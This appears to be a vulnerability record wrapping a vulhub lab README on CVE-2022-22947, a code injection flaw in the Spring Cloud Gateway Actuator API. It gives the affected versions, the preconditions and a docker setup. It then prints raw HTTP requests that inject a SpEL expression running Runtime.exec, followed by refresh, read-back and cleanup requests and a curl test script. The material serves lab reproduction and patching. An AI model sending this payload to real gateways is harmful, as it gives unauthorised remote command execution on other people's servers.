漏洞信息 漏洞名称: Spring Cloud Gateway Actuator API SpEL Code Injection Vulnerability
漏洞编号:
漏洞类型: 代码注入
漏洞等级: 严重
漏洞描述: Spring Cloud Gateway 是一个构建在 Spring WebFlux 之上的 API 网关库,广泛用于微服务架构中,作为服务间通信的桥梁。该漏洞影响版本为 3.1.0 和 3.0.0 至 3.0.6 的 Spring Cloud Gateway,当 Gateway Actuator 端点被启用、暴露且未受保护时,攻击者可以利用此漏洞进行远程代码执行。
漏洞的根源在于 Spring Cloud Gateway 的 Actuator API 对用户提供的 SpEL 表达式未进行充分验证,导致攻击者可以通过构造恶意的请求,注入并执行任意 SpEL 表达式。这种代码注入漏洞允许攻击者在目标主机上执行任意命令,从而完全控制受影响的系统。
此漏洞的影响极为严重,因为它不需要任何形式的认证即可被利用,且可以远程触发。攻击者可以利用此漏洞窃取敏感数据、植入恶意软件或破坏服务。由于 Spring Cloud Gateway 通常部署在企业级微服务架构的关键路径上,此漏洞的利用可能导致整个系统的安全防线被突破。
产品厂商: Spring
产品名称: Spring Cloud Gateway
影响版本: 3.1.0, 3.0.0–3.0.6
来源: https://github.com/vulhub/vulhub/blob/c6b98ef86771d6cd4ca3add457cd91a974f2c898/spring%2FCVE-2022-22947%2FREADME.md
类型: vulhub/vulhub:github issues
来源概述 Spring Cloud Gateway Actuator API SpEL Code Injection (CVE-2022-22947) 中文版本(Chinese version)
Affected / Fixed / Preconditions
Affected : 3.1.0, 3.0.0–3.0.6
Fixed : 3.1.1, 3.0.7
Preconditions
The project includes spring-boot-starter-actuator
management.endpoint.gateway.enabled: true
management.endpoints.web.exposure.include
includes gateway
(or *
)
/actuator/gateway/**
is exposed to the network and accessible without authentication or filtering.
(Optional) If the management port is separated, access the actuator via management.server.port
.
Spring Cloud Gateway provides a library for building an API Gateway on top of Spring WebFlux.
Applications using Spring Cloud Gateway versions 3.1.0 and 3.0.0–3.0.6 are vulnerable when the Gateway Actuator endpoint is enabled, exposed, and unsecured. The issue is fixed in 3.1.1 and 3.0.7. A remote attacker can craft a malicious request to achieve arbitrary code execution on the host.
Minimal configuration (for PoC) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 server: port: 8080 management: server: port: 8080 endpoints: web: exposure: include: gateway endpoint: gateway: enabled: true
Vulnerability Environment 1 2 3 4 mvn -q -DskipTests packagecp target/*.jar target/app.jar docker compose up -d
After server is started, browse the http://your-ip:8080
to see an example page.
Vulnerability Reproduction Firstly, send the following request to add a route which contains an evil SpEL expression:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 POST /actuator/gateway/routes/hacktest HTTP/1.1 Host : localhost:8080Accept-Encoding : gzip, deflateAccept : */*Accept-Language : enUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection : closeContent-Type : application/jsonContent-Length : 329{ "id" : "hacktest" , "predicates" : [{ "name" : "Path" , "args" : { "pattern" : "/poc/**" } }], "filters" : [{ "name" : "AddResponseHeader" , "args" : { "name" : "Result" , "value" : "#{new String (T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String []{\"id\"}).getInputStream()))}" } }], " uri": " http://example.com" }
Secondly, refresh the gateway. The SpEL expression will be executed in this step:
1 2 3 4 5 6 7 8 9 10 11 POST /actuator/gateway/refresh HTTP/1.1 Host : localhost:8080Accept-Encoding : gzip, deflateAccept : */*Accept-Language : enUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection : closeContent-Type : application/x-www-form-urlencodedContent-Length : 0
Thirdly, send the following request to retrieve the result:
1 2 3 4 5 6 7 8 9 10 11 GET /actuator/gateway/routes/hacktest HTTP/1.1 Host : localhost:8080Accept-Encoding : gzip, deflateAccept : */*Accept-Language : enUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection : closeContent-Type : application/x-www-form-urlencodedContent-Length : 0
Afterward, send a DELETE request to remove our evil route:
1 2 3 4 5 6 7 8 9 DELETE /actuator/gateway/routes/hacktest HTTP/1.1 Host : localhost:8080Accept-Encoding : gzip, deflateAccept : */*Accept-Language : enUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection : close
Finally, refresh the gateway again:
1 2 3 4 5 6 7 8 9 10 11 POST /actuator/gateway/refresh HTTP/1.1 Host : localhost:8080Accept-Encoding : gzip, deflateAccept : */*Accept-Language : enUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection : closeContent-Type : application/x-www-form-urlencodedContent-Length : 0
Quick verification (Windows / Git Bash) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 cat > payload.json <<'EOF' { "id" : "hack" , "order" : -1, "predicates" : [{ "name" : "Path" , "args" : { "pattern" : "/poc/**" } }], "filters" : [ { "name" : "SetPath" , "args" : { "template" : "/headers" } }, { "name" : "AddResponseHeader" , "args" : { "name" : "X-Check" , "value" : "hello" } } ], "uri" : "https://httpbin.org" } EOF curl -s -X POST http://127.0.0.1:8080/actuator/gateway/routes/hack \ -H "Content-Type: application/json" --data @payload.json curl -s -X POST http://127.0.0.1:8080/actuator/gateway/refresh curl -s -D - -o /dev/null http://127.0.0.1:8080/poc
Cleanup (for Quick verification) 1 2 3 curl -s -X DELETE http://127.0.0.1:8080/actuator/gateway/routes/hack curl -s -X POST http://127.0.0.1:8080/actuator/gateway/refresh
References